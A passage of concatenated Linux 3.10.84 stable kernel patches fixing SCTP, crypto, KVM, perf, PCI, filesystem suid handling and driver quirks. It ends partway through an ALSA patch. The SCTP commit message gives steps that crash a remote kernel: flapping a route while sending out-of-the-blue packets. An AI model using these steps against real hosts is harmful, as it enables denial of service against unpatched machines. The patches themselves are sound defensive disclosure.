Fix race between OOTB responce and route removal [ Upstream commit 29c4afc4e98f4dc0ea9df22c631841f9c220b944 ] There is NULL pointer dereference possible during statistics update if the route used for OOTB responce is removed at unfortunate time. If the route exists when we receive OOTB packet and we finally jump into sctp_packet_transmit() to send ABORT, but in the meantime route is removed under our feet, we take "no_route" path and try to update stats with IP_INC_STATS(sock_net(asoc->base.sk), ...). But sctp_ootb_pkt_new() used to prepare responce packet doesn't call sctp_transport_set_owner() and therefore there is no asoc associated with this packet. Probably temporary asoc just for OOTB responces is overkill, so just introduce a check like in all other places in sctp_packet_transmit(), where "asoc" is dereferenced. To reproduce this, one needs to 0. ensure that sctp module is loaded (otherwise ABORT is not generated) 1. remove default route on the machine 2. while true; do ip route del [interface-specific route] ip route add [interface-specific route] done 3. send enough OOTB packets (i.e. HB REQs) from another host to trigger ABORT responce On x86_64 the crash looks like this: BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 IP: [] sctp_packet_transmit+0x63c/0x730 [sctp] PGD 0 Oops: 0000 [#1] PREEMPT SMP Modules linked in: ... CPU: 0 PID: 0 Comm: swapper/0 Tainted: G O 4.0.5-1-ARCH #1 Hardware name: ... task: ffffffff818124c0 ti: ffffffff81800000 task.ti: ffffffff81800000 RIP: 0010:[] [] sctp_packet_transmit+0x63c/0x730 [sctp] RSP: 0018:ffff880127c037b8 EFLAGS: 00010296 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00000015ff66b480 RDX: 00000015ff66b400 RSI: ffff880127c17200 RDI: ffff880123403700 RBP: ffff880127c03888 R08: 0000000000017200 R09: ffffffff814625af R10: ffffea00047e4680 R11: 00000000ffffff80 R12: ffff8800b0d38a28 R13: ffff8800b0d38a28 R14: ffff8800b3e88000 R15: ffffffffa05f24e0 FS: 0000000000000000(0000) GS:ffff880127c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000020 CR3: 00000000c855b000 CR4: 00000000000007f0 Stack: ffff880127c03910 ffff8800b0d38a28 ffffffff8189d240 ffff88011f91b400 ffff880127c03828 ffffffffa05c94c5 0000000000000000 ffff8800baa1c520 0000000000000000 0000000000000001 0000000000000000 0000000000000000 Call Trace: [] ? sctp_sf_tabort_8_4_8.isra.20+0x85/0x140 [sctp] [] ? sctp_transport_put+0x52/0x80 [sctp] [] sctp_do_sm+0xb8c/0x19a0 [sctp] [] ? trigger_load_balance+0x90/0x210 [] ? update_process_times+0x59/0x60 [] ? timerqueue_add+0x60/0xb0 [] ? enqueue_hrtimer+0x29/0xa0 [] ? read_tsc+0x9/0x10 [] ? put_page+0x55/0x60 [] ? clockevents_program_event+0x6d/0x100 [] ? skb_free_head+0x58/0x80 [] ? chksum_update+0x1b/0x27 [crc32c_generic] [] ? crypto_shash_update+0xce/0xf0 [] sctp_endpoint_bh_rcv+0x113/0x280 [sctp] [] sctp_inq_push+0x46/0x60 [sctp] [] sctp_rcv+0x880/0x910 [sctp] [] ? sctp_packet_transmit_chunk+0xb0/0xb0 [sctp] [] ? sctp_csum_update+0x20/0x20 [sctp] [] ? ip_route_input_noref+0x235/0xd30 [] ? ack_ioapic_level+0x7b/0x150 [] ip_local_deliver_finish+0xae/0x210 [] ip_local_deliver+0x35/0x90 [] ip_rcv_finish+0xf5/0x370 [] ip_rcv+0x2b8/0x3a0 [] __netif_receive_skb_core+0x763/0xa50 [] __netif_receive_skb+0x18/0x60 [] netif_receive_skb_internal+0x40/0xd0 [] napi_gro_receive+0xe8/0x120 [] rtl8169_poll+0x2da/0x660 [r8169] [] net_rx_action+0x21a/0x360 [] __do_softirq+0xe1/0x2d0 [] irq_exit+0xad/0xb0 [] do_IRQ+0x58/0xf0 [] common_interrupt+0x6d/0x6d [] ? hrtimer_start+0x18/0x20 [] ? sctp_transport_destroy_rcu+0x29/0x30 [sctp] [] ? mwait_idle+0x60/0xa0 [] arch_cpu_idle+0xf/0x20 [] cpu_startup_entry+0x3ec/0x480 [] rest_init+0x85/0x90 [] start_kernel+0x48b/0x4ac [] ? early_idt_handlers+0x120/0x120 [] x86_64_start_reservations+0x2a/0x2c [] x86_64_start_kernel+0x161/0x184 Code: 90 48 8b 80 b8 00 00 00 48 89 85 70 ff ff ff 48 83 bd 70 ff ff ff 00 0f 85 cd fa ff ff 48 89 df 31 db e8 18 63 e7 e0 48 8b 45 80 <48> 8b 40 20 48 8b 40 30 48 8b 80 68 01 00 00 65 48 ff 40 78 e9 RIP [] sctp_packet_transmit+0x63c/0x730 [sctp] RSP CR2: 0000000000000020 ---[ end trace 5aec7fd2dc983574 ]--- Kernel panic - not syncing: Fatal exception in interrupt Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff) drm_kms_helper: panic occurred, switching back to text console ---[ end Kernel panic - not syncing: Fatal exception in interrupt Signed-off-by: Alexander Sverdlin Acked-by: Neil Horman Acked-by: Marcelo Ricardo Leitner Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/sctp/output.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/net/sctp/output.c b/net/sctp/output.c index 73b8ca51ba14..2d9689333fe4 100644 --- a/net/sctp/output.c +++ b/net/sctp/output.c @@ -618,7 +618,9 @@ out: return err; no_route: kfree_skb(nskb); - IP_INC_STATS(sock_net(asoc->base.sk), IPSTATS_MIB_OUTNOROUTES); + + if (asoc) + IP_INC_STATS(sock_net(asoc->base.sk), IPSTATS_MIB_OUTNOROUTES); /* FIXME: Returning the 'err' will effect all the associations * associated with a socket, although only one of the paths of the -- cgit v1.2.3 From 54b915793f085622ffa78e3cffd94a5733cc71b9 Mon Sep 17 00:00:00 2001 From: Horia Geant? Date: Mon, 11 May 2015 20:03:24 +0300 Subject: crypto: talitos - avoid memleak in talitos_alg_alloc() commit 5fa7dadc898567ce14d6d6d427e7bd8ce6eb5d39 upstream. Fixes: 1d11911a8c57 ("crypto: talitos - fix warning: 'alg' may be used uninitialized in this function") Signed-off-by: Horia Geanta Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman --- drivers/crypto/talitos.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/crypto/talitos.c b/drivers/crypto/talitos.c index 5b2b5e61e4f9..9723b3dcebe7 100644 --- a/drivers/crypto/talitos.c +++ b/drivers/crypto/talitos.c @@ -2621,6 +2621,7 @@ static struct talitos_crypto_alg *talitos_alg_alloc(struct device *dev, break; default: dev_err(dev, "unknown algorithm type %d\n", t_alg->algt.type); + kfree(t_alg); return ERR_PTR(-EINVAL); } -- cgit v1.2.3 From fd2db9b79cfa3d4e31ac9df258dcf076b5dbadf0 Mon Sep 17 00:00:00 2001 From: Horia Geant? Date: Mon, 11 May 2015 20:04:49 +0300 Subject: Revert "crypto: talitos - convert to use be16_add_cpu()" commit 69d9cd8c592f1abce820dbce7181bbbf6812cfbd upstream. This reverts commit 7291a932c6e27d9768e374e9d648086636daf61c. The conversion to be16_add_cpu() is incorrect in case cryptlen is negative due to premature (i.e. before addition / subtraction) implicit conversion of cryptlen (int -> u16) leading to sign loss. Cc: Wei Yongjun Signed-off-by: Horia Geanta Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman --- drivers/crypto/talitos.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/drivers/crypto/talitos.c b/drivers/crypto/talitos.c index 9723b3dcebe7..057d894eee66 100644 --- a/drivers/crypto/talitos.c +++ b/drivers/crypto/talitos.c @@ -935,7 +935,8 @@ static int sg_to_link_tbl(struct scatterlist *sg, int sg_count, sg_count--; link_tbl_ptr--; } - be16_add_cpu(&link_tbl_ptr->len, cryptlen); + link_tbl_ptr->len = cpu_to_be16(be16_to_cpu(link_tbl_ptr->len) + + cryptlen); /* tag end of link table */ link_tbl_ptr->j_extent = DESC_PTR_LNKTBL_RETURN; -- cgit v1.2.3 From 06efcc8678f2f688680a058ae3ea9aa21925bf9a Mon Sep 17 00:00:00 2001 From: Marc Zyngier Date: Mon, 16 Mar 2015 10:59:43 +0000 Subject: arm: KVM: force execution of HCPTR access on VM exit commit 85e84ba31039595995dae80b277378213602891b upstream. On VM entry, we disable access to the VFP registers in order to perform a lazy save/restore of these registers. On VM exit, we restore access, test if we did enable them before, and save/restore the guest/host registers if necessary. In this sequence, the FPEXC register is always accessed, irrespective of the trapping configuration. If the guest didn't touch the VFP registers, then the HCPTR access has now enabled such access, but we're missing a barrier to ensure architectural execution of the new HCPTR configuration. If the HCPTR access has been delayed/reordered, the subsequent access to FPEXC will cause a trap, which we aren't prepared to handle at all. The same condition exists when trapping to enable VFP for the guest. The fix is to introduce a barrier after enabling VFP access. In the vmexit case, it can be relaxed to only takes place if the guest hasn't accessed its view of the VFP registers, making the access to FPEXC safe. The set_hcptr macro is modified to deal with both vmenter/vmexit and vmtrap operations, and now takes an optional label that is branched to when the guest hasn't touched the VFP registers. Reported-by: Vikram Sethi Signed-off-by: Marc Zyngier Signed-off-by: Greg Kroah-Hartman --- arch/arm/kvm/interrupts.S | 10 ++++------ arch/arm/kvm/interrupts_head.S | 20 ++++++++++++++++++-- 2 files changed, 22 insertions(+), 8 deletions(-) diff --git a/arch/arm/kvm/interrupts.S b/arch/arm/kvm/interrupts.S index 16cd4ba5d7fd..bb117abb1b3b 100644 --- a/arch/arm/kvm/interrupts.S +++ b/arch/arm/kvm/interrupts.S @@ -159,13 +159,9 @@ __kvm_vcpu_return: @ Don't trap coprocessor accesses for host kernel set_hstr vmexit set_hdcr vmexit - set_hcptr vmexit, (HCPTR_TTA | HCPTR_TCP(10) | HCPTR_TCP(11)) + set_hcptr vmexit, (HCPTR_TTA | HCPTR_TCP(10) | HCPTR_TCP(11)), after_vfp_restore #ifdef CONFIG_VFPv3 - @ Save floating point registers we if let guest use them. - tst r2, #(HCPTR_TCP(10) | HCPTR_TCP(11)) - bne after_vfp_restore - @ Switch VFP/NEON hardware state to the host's add r7, vcpu, #VCPU_VFP_GUEST store_vfp_state r7 @@ -177,6 +173,8 @@ after_vfp_restore: @ Restore FPEXC_EN which we clobbered on entry pop {r2} VFPFMXR FPEXC, r2 +#else +after_vfp_restore: #endif @ Reset Hyp-role @@ -458,7 +456,7 @@ switch_to_guest_vfp: push {r3-r7} @ NEON/VFP used. Turn on VFP access. - set_hcptr vmexit, (HCPTR_TCP(10) | HCPTR_TCP(11)) + set_hcptr vmtrap, (HCPTR_TCP(10) | HCPTR_TCP(11)) @ Switch VFP/NEON hardware state to the guest's add r7, r0, #VCPU_VFP_HOST diff --git a/arch/arm/kvm/interrupts_head.S b/arch/arm/kvm/interrupts_head.S index 6f18695a09cb..b6f6137f5984 100644 --- a/arch/arm/kvm/interrupts_head.S +++ b/arch/arm/kvm/interrupts_head.S @@ -570,8 +570,13 @@ vcpu .req r0 @ vcpu pointer always in r0 .endm /* Configures the HCPTR (Hyp Coprocessor Trap Register) on entry/return - * (hardware reset value is 0). Keep previous value in r2. */ -.macro set_hcptr operation, mask + * (hardware reset value is 0). Keep previous value in r2. + * An ISB is emited on vmexit/vmtrap, but executed on vmexit only if + * VFP wasn't already enabled (always executed on vmtrap). + * If a label is specified with vmexit, it is branched to if VFP wasn't + * enabled. + */ +.macro set_hcptr operation, mask, label = none mrc p15, 4, r2, c1, c1, 2 ldr r3, =\mask .if \operation == vmentry @@ -580,6 +585,17 @@ vcpu .req r0 @ vcpu pointer always in r0 bic r3, r2, r3 @ Don't trap defined coproc-accesses .endif mcr p15, 4, r3, c1, c1, 2 + .if \operation != vmentry + .if \operation == vmexit + tst r2, #(HCPTR_TCP(10) | HCPTR_TCP(11)) + beq 1f + .endif + isb + .if \label != none + b \label + .endif +1: + .endif .endm /* Configures the HDCR (Hyp Debug Configuration Register) on entry/return -- cgit v1.2.3 From aa517b185cf09969c4783d04de3243ee5d60adad Mon Sep 17 00:00:00 2001 From: Anton Blanchard Date: Tue, 26 May 2015 15:10:24 +1000 Subject: powerpc/perf: Fix book3s kernel to userspace backtraces commit 72e349f1124a114435e599479c9b8d14bfd1ebcd upstream. When we take a PMU exception or a software event we call perf_read_regs(). This overloads regs->result with a boolean that describes if we should use the sampled instruction address register (SIAR) or the regs. If the exception is in kernel, we start with the kernel regs and backtrace through the kernel stack. At this point we switch to the userspace regs and backtrace the user stack with perf_callchain_user(). Unfortunately these regs have not got the perf_read_regs() treatment, so regs->result could be anything. If it is non zero, perf_instruction_pointer() decides to use the SIAR, and we get issues like this: 0.11% qemu-system-ppc [kernel.kallsyms] [k] _raw_spin_lock_irqsave | ---_raw_spin_lock_irqsave | |--52.35%-- 0 | | | |--46.39%-- __hrtimer_start_range_ns | | kvmppc_run_core | | kvmppc_vcpu_run_hv | | kvmppc_vcpu_run | | kvm_arch_vcpu_ioctl_run | | kvm_vcpu_ioctl | | do_vfs_ioctl | | sys_ioctl | | system_call | | | | | |--67.08%-- _raw_spin_lock_irqsave <--- hi mum | | | | | | | --100.00%-- 0x7e714 | | | 0x7e714 Notice the bogus _raw_spin_irqsave when we transition from kernel (system_call) to userspace (0x7e714). We inserted what was in the SIAR. Add a check in regs_use_siar() to check that the regs in question are from a PMU exception. With this fix the backtrace makes sense: 0.47% qemu-system-ppc [kernel.vmlinux] [k] _raw_spin_lock_irqsave | ---_raw_spin_lock_irqsave | |--53.83%-- 0 | | | |--44.73%-- hrtimer_try_to_cancel | | kvmppc_start_thread | | kvmppc_run_core | | kvmppc_vcpu_run_hv | | kvmppc_vcpu_run | | kvm_arch_vcpu_ioctl_run | | kvm_vcpu_ioctl | | do_vfs_ioctl | | sys_ioctl | | system_call | | __ioctl | | 0x7e714 | | 0x7e714 Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman --- arch/powerpc/perf/core-book3s.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/arch/powerpc/perf/core-book3s.c b/arch/powerpc/perf/core-book3s.c index 846861a20b07..b63dc809596d 100644 --- a/arch/powerpc/perf/core-book3s.c +++ b/arch/powerpc/perf/core-book3s.c @@ -112,7 +112,16 @@ static inline void power_pmu_bhrb_read(struct cpu_hw_events *cpuhw) {} static bool regs_use_siar(struct pt_regs *regs) { - return !!regs->result; + /* + * When we take a performance monitor exception the regs are setup + * using perf_read_regs() which overloads some fields, in particular + * regs->result to tell us whether to use SIAR. + * + * However if the regs are from another exception, eg. a syscall, then + * they have not been setup using perf_read_regs() and so regs->result + * is something random. + */ + return ((TRAP(regs) == 0xf00) && regs->result); } /* -- cgit v1.2.3 From dc86cafe9a0c6d10c2e1a7c6d6e3ff1c98b65edc Mon Sep 17 00:00:00 2001 From: Bjorn Helgaas Date: Tue, 9 Jun 2015 18:54:07 -0500 Subject: x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A commit 1dace0116d0b05c967d94644fc4dfe96be2ecd3d upstream. The Foxconn K8M890-8237A has two PCI host bridges, and we can't assign resources correctly without the information from _CRS that tells us which address ranges are claimed by which bridge. In the bugs mentioned below, we incorrectly assign a sound card address (this example is from 1033299): bus: 00 index 2 [mem 0x80000000-0xfcffffffff] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-7f]) pci_root PNP0A08:00: host bridge window [mem 0x80000000-0xbfefffff] (ignored) pci_root PNP0A08:00: host bridge window [mem 0xc0000000-0xdfffffff] (ignored) pci_root PNP0A08:00: host bridge window [mem 0xf0000000-0xfebfffff] (ignored) ACPI: PCI Root Bridge [PCI1] (domain 0000 [bus 80-ff]) pci_root PNP0A08:01: host bridge window [mem 0xbff00000-0xbfffffff] (ignored) pci 0000:80:01.0: [1106:3288] type 0 class 0x000403 pci 0000:80:01.0: reg 10: [mem 0xbfffc000-0xbfffffff 64bit] pci 0000:80:01.0: address space collision: [mem 0xbfffc000-0xbfffffff 64bit] conflicts with PCI Bus #00 [mem 0x80000000-0xfcffffffff] pci 0000:80:01.0: BAR 0: assigned [mem 0xfd00000000-0xfd00003fff 64bit] BUG: unable to handle kernel paging request at ffffc90000378000 IP: [] azx_create+0x37c/0x822 [snd_hda_intel] We assigned 0xfd_0000_0000, but that is not in any of the host bridge windows, and the sound card doesn't work. Turn on pci=use_crs automatically for this system. Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368 Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299 Signed-off-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman --- arch/x86/pci/acpi.c | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/arch/x86/pci/acpi.c b/arch/x86/pci/acpi.c index 3e724256dbee..a3b0265c2ca7 100644 --- a/arch/x86/pci/acpi.c +++ b/arch/x86/pci/acpi.c @@ -84,6 +84,17 @@ static const struct dmi_system_id pci_crs_quirks[] __initconst = { DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies, LTD"), }, }, + /* https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368 */ + /* https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299 */ + { + .callback = set_use_crs, + .ident = "Foxconn K8M890-8237A", + .matches = { + DMI_MATCH(DMI_BOARD_VENDOR, "Foxconn"), + DMI_MATCH(DMI_BOARD_NAME, "K8M890-8237A"), + DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies, LTD"), + }, + }, /* Now for the blacklist.. */ -- cgit v1.2.3 From ce2eb12c5858e7d67a4e22188734e0136c311d8e Mon Sep 17 00:00:00 2001 From: James Hogan Date: Mon, 27 Apr 2015 15:07:16 +0100 Subject: MIPS: Fix KVM guest fixmap address commit 8e748c8d09a9314eedb5c6367d9acfaacddcdc88 upstream. KVM guest kernels for trap & emulate run in user mode, with a modified set of kernel memory segments. However the fixmap address is still in the normal KSeg3 region at 0xfffe0000 regardless, causing problems when cache alias handling makes use of them when handling copy on write. Therefore define FIXADDR_TOP as 0x7ffe0000 in the guest kernel mapped region when CONFIG_KVM_GUEST is defined. Signed-off-by: James Hogan Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/9887/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman --- arch/mips/include/asm/mach-generic/spaces.h | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/arch/mips/include/asm/mach-generic/spaces.h b/arch/mips/include/asm/mach-generic/spaces.h index 5b2f2e68e57f..503eb6ca5802 100644 --- a/arch/mips/include/asm/mach-generic/spaces.h +++ b/arch/mips/include/asm/mach-generic/spaces.h @@ -90,7 +90,11 @@ #endif #ifndef FIXADDR_TOP +#ifdef CONFIG_KVM_GUEST +#define FIXADDR_TOP ((unsigned long)(long)(int)0x7ffe0000) +#else #define FIXADDR_TOP ((unsigned long)(long)(int)0xfffe0000) #endif +#endif #endif /* __ASM_MACH_GENERIC_SPACES_H */ -- cgit v1.2.3 From 455aa7c4b828827944a2b24df33de9b64b8d18cb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Radim=20Kr=C4=8Dm=C3=A1=C5=99?= Date: Wed, 1 Jul 2015 15:31:49 +0200 Subject: KVM: x86: make vapics_in_nmi_mode atomic MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 42720138b06301cc8a7ee8a495a6d021c4b6a9bc upstream. Writes were a bit racy, but hard to turn into a bug at the same time. (Particularly because modern Linux doesn't use this feature anymore.) Signed-off-by: Radim Krčmář [Actually the next patch makes it much, much easier to trigger the race so I'm including this one for stable@ as well. - Paolo] Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman --- arch/x86/include/asm/kvm_host.h | 2 +- arch/x86/kvm/i8254.c | 2 +- arch/x86/kvm/lapic.c | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h index 4c481e751e8e..98b68c2f1a1c 100644 --- a/arch/x86/include/asm/kvm_host.h +++ b/arch/x86/include/asm/kvm_host.h @@ -541,7 +541,7 @@ struct kvm_arch { struct kvm_pic *vpic; struct kvm_ioapic *vioapic; struct kvm_pit *vpit; - int vapics_in_nmi_mode; + atomic_t vapics_in_nmi_mode; struct mutex apic_map_lock; struct kvm_apic_map *apic_map; diff --git a/arch/x86/kvm/i8254.c b/arch/x86/kvm/i8254.c index 298781d4cfb4..1406ffde3e35 100644 --- a/arch/x86/kvm/i8254.c +++ b/arch/x86/kvm/i8254.c @@ -305,7 +305,7 @@ static void pit_do_work(struct kthread_work *work) * LVT0 to NMI delivery. Other PIC interrupts are just sent to * VCPU0, and only if its LVT0 is in EXTINT mode. */ - if (kvm->arch.vapics_in_nmi_mode > 0) + if (atomic_read(&kvm->arch.vapics_in_nmi_mode) > 0) kvm_for_each_vcpu(i, vcpu, kvm) kvm_apic_nmi_wd_deliver(vcpu); } diff --git a/arch/x86/kvm/lapic.c b/arch/x86/kvm/lapic.c index 681e4e251f00..ff280209d7de 100644 --- a/arch/x86/kvm/lapic.c +++ b/arch/x86/kvm/lapic.c @@ -1123,10 +1123,10 @@ static void apic_manage_nmi_watchdog(struct kvm_lapic *apic, u32 lvt0_val) if (!nmi_wd_enabled) { apic_debug("Receive NMI setting on APIC_LVT0 " "for cpu %d\n", apic->vcpu->vcpu_id); - apic->vcpu->kvm->arch.vapics_in_nmi_mode++; + atomic_inc(&apic->vcpu->kvm->arch.vapics_in_nmi_mode); } } else if (nmi_wd_enabled) - apic->vcpu->kvm->arch.vapics_in_nmi_mode--; + atomic_dec(&apic->vcpu->kvm->arch.vapics_in_nmi_mode); } static int apic_reg_write(struct kvm_lapic *apic, u32 reg, u32 val) -- cgit v1.2.3 From 9b9724dc865428f0bc900f653b636456e81d8e3b Mon Sep 17 00:00:00 2001 From: Jan Kara Date: Thu, 21 May 2015 16:05:52 +0200 Subject: fs: Fix S_NOSEC handling commit 2426f3910069ed47c0cc58559a6d088af7920201 upstream. file_remove_suid() could mistakenly set S_NOSEC inode bit when root was modifying the file. As a result following writes to the file by ordinary user would avoid clearing suid or sgid bits. Fix the bug by checking actual mode bits before setting S_NOSEC. Signed-off-by: Jan Kara Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman --- fs/inode.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/inode.c b/fs/inode.c index 1b300a06b8be..17f95b417955 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -1628,8 +1628,8 @@ int file_remove_suid(struct file *file) error = security_inode_killpriv(dentry); if (!error && killsuid) error = __remove_suid(dentry, killsuid); - if (!error && (inode->i_sb->s_flags & MS_NOSEC)) - inode->i_flags |= S_NOSEC; + if (!error) + inode_has_no_xattr(inode); return error; } -- cgit v1.2.3 From f1178e991adbe6ea8a7524c8c83fa479dc26c765 Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Fri, 10 Jul 2015 10:40:38 -0700 Subject: Linux 3.10.84 --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 21529dbcc11d..f7b10bb56737 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ VERSION = 3 PATCHLEVEL = 10 -SUBLEVEL = 83 +SUBLEVEL = 84 EXTRAVERSION = NAME = TOSSUG Baby Fish -- cgit v1.2.3 From fc48f054b6be4c79ff44984374d6d6350ad1df92 Mon Sep 17 00:00:00 2001 From: Brian King Date: Wed, 13 May 2015 08:50:27 -0500 Subject: ipr: Increase default adapter init stage change timeout commit 45c44b5ff9caa743ed9c2bfd44307c536c9caf1e upstream. Increase the default init stage change timeout from 15 seconds to 30 seconds. This resolves issues we have seen with some adapters not transitioning to the first init stage within 15 seconds, which results in adapter initialization failures. Signed-off-by: Brian King Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman --- drivers/scsi/ipr.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/scsi/ipr.h b/drivers/scsi/ipr.h index 535f57328a72..c19911554036 100644 --- a/drivers/scsi/ipr.h +++ b/drivers/scsi/ipr.h @@ -257,7 +257,7 @@ #define IPR_RUNTIME_RESET 0x40000000 #define IPR_IPL_INIT_MIN_STAGE_TIME 5 -#define IPR_IPL_INIT_DEFAULT_STAGE_TIME 15 +#define IPR_IPL_INIT_DEFAULT_STAGE_TIME 30 #define IPR_IPL_INIT_STAGE_UNKNOWN 0x0 #define IPR_IPL_INIT_STAGE_TRANSOP 0xB0000000 #define IPR_IPL_INIT_STAGE_MASK 0xff000000 -- cgit v1.2.3 From f6bdfa036e1cda4caaa364362b239c05da817f2a Mon Sep 17 00:00:00 2001 From: Ryan Underwood Date: Sun, 25 Jan 2015 16:07:09 -0800 Subject: Disable write buffering on Toshiba ToPIC95 commit 2fb22a8042fe96b4220843f79241c116d90922c4 upstream. Disable write buffering on the Toshiba ToPIC95 if it is enabled by somebody (it is not supposed to be a power-on default according to the datasheet). On the ToPIC95, practically no 32-bit Cardbus card will work under heavy load without locking up the whole system if this is left enabled. I tried about a dozen. It does not affect 16-bit cards. This is similar to the O2 bugs in early controller revisions it seems. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=55961 Signed-off-by: Ryan C. Underwood Signed-off-by: Dominik Brodowski Signed-off-by: Greg Kroah-Hartman --- drivers/pcmcia/topic.h | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/drivers/pcmcia/topic.h b/drivers/pcmcia/topic.h index 615a45a8fe86..582688fe7505 100644 --- a/drivers/pcmcia/topic.h +++ b/drivers/pcmcia/topic.h @@ -104,6 +104,9 @@ #define TOPIC_EXCA_IF_CONTROL 0x3e /* 8 bit */ #define TOPIC_EXCA_IFC_33V_ENA 0x01 +#define TOPIC_PCI_CFG_PPBCN 0x3e /* 16-bit */ +#define TOPIC_PCI_CFG_PPBCN_WBEN 0x0400 + static void topic97_zoom_video(struct pcmcia_socket *sock, int onoff) { struct yenta_socket *socket = container_of(sock, struct yenta_socket, socket); @@ -138,6 +141,7 @@ static int topic97_override(struct yenta_socket *socket) static int topic95_override(struct yenta_socket *socket) { u8 fctrl; + u16 ppbcn; /* enable 3.3V support for 16bit cards */ fctrl = exca_readb(socket, TOPIC_EXCA_IF_CONTROL); @@ -146,6 +150,18 @@ static int topic95_override(struct yenta_socket *socket) /* tell yenta to use exca registers to power 16bit cards */ socket->flags |= YENTA_16BIT_POWER_EXCA | YENTA_16BIT_POWER_DF; + /* Disable write buffers to prevent lockups under load with numerous + Cardbus cards, observed on Tecra 500CDT and reported elsewhere on the + net. This is not a power-on default according to the datasheet + but some BIOSes seem to set it. */ + if (pci_read_config_word(socket->dev, TOPIC_PCI_CFG_PPBCN, &ppbcn) == 0 + && socket->dev->revision <= 7 + && (ppbcn & TOPIC_PCI_CFG_PPBCN_WBEN)) { + ppbcn &= ~TOPIC_PCI_CFG_PPBCN_WBEN; + pci_write_config_word(socket->dev, TOPIC_PCI_CFG_PPBCN, ppbcn); + dev_info(&socket->dev->dev, "Disabled ToPIC95 Cardbus write buffers.\n"); + } + return 0; } -- cgit v1.2.3 From 783491448e84bf87387a88c927797c9cccd9bafc Mon Sep 17 00:00:00 2001 From: Takashi Iwai Date: Sat, 27 Jun 2015 10:21:13 +0200 Subject: ALSA: hda - Add headset support to Acer Aspire V5 commit 7819717b11346b8a5420b223b46600e394049c66 upstream. Acer Aspire V5 with ALC282 codec needs the similar quirk like Dell laptops to support the headset mic. The headset mic pin is 0x19 and it's not exposed by BIOS, thus we need to fix the pincfg as well. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=96201 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/pci/hda/patch_realtek.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c index ca2094c914a1..5c7b68278638 100644 --- a/sound/pci/hda/patch_realtek.c +++ b/sound/pci/hda/patch_realtek.c @@ -3383,6 +3383,7 @@ enum { ALC290_FIXUP_MONO_SPEAKERS, ALC269_FIXUP_HEADSET_MODE, ALC269_FIXUP_HEADSET_MODE_NO_HP_MIC, + ALC269_FIXUP_ASPIRE_HEADSET_MIC, ALC269_FIXUP_ASUS_X101_FUNC, ALC269_FIXUP_ASUS_X101_VERB, ALC269_FIXUP_ASUS_X101, @@ -3598,6 +3599,15 @@ static const struct hda_fixup alc269_fixups[] = { .type = HDA_FIXUP_FUNC, .v.func = alc_fixup_headset_mode_no_hp_mic, }, + [ALC269_FIXUP_ASPIRE_HEADSET_MIC] = { + .type = HDA_FIXUP_PINS, + .v.pins = (const struct hda_pintbl[]) { + { 0x19, 0x01a1913c }, /* headset mic w/o jack detect */ + { } + }, + .chained = true, + .chain_id = ALC269_FIXUP_HEADSET_MODE, + }, [ALC286_FIXUP_SONY_MIC_NO_PRESENCE] = { .type = HDA_FIXUP_PINS, .v.pins = (const struct hda_pintbl[]) { @@ -3732,6 +3742,8 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = { SND_PCI_QUIRK_VENDOR(0x104d, "Sony VAIO", ALC269_FIXUP_SONY_VAIO), SND_PCI_QUIRK(0x1028, 0x0470, "Dell M101z", ALC269_FIXUP_DELL_M101Z), SND_PCI_QUIRK(0x1025, 0x047c, "Acer AC700", ALC269_FIXUP_ACER_AC700), + SND_PCI_QUIRK(0x1025, 0x072d, "Acer Aspire V5-571G", ALC269_FIXUP_ASPIRE_HEADSET_MIC), + SND_PCI_QUIRK(0x1025, 0x080d, "Acer Aspire V5-122P", ALC269_FIXUP_ASPIRE_HEADSET_MIC), 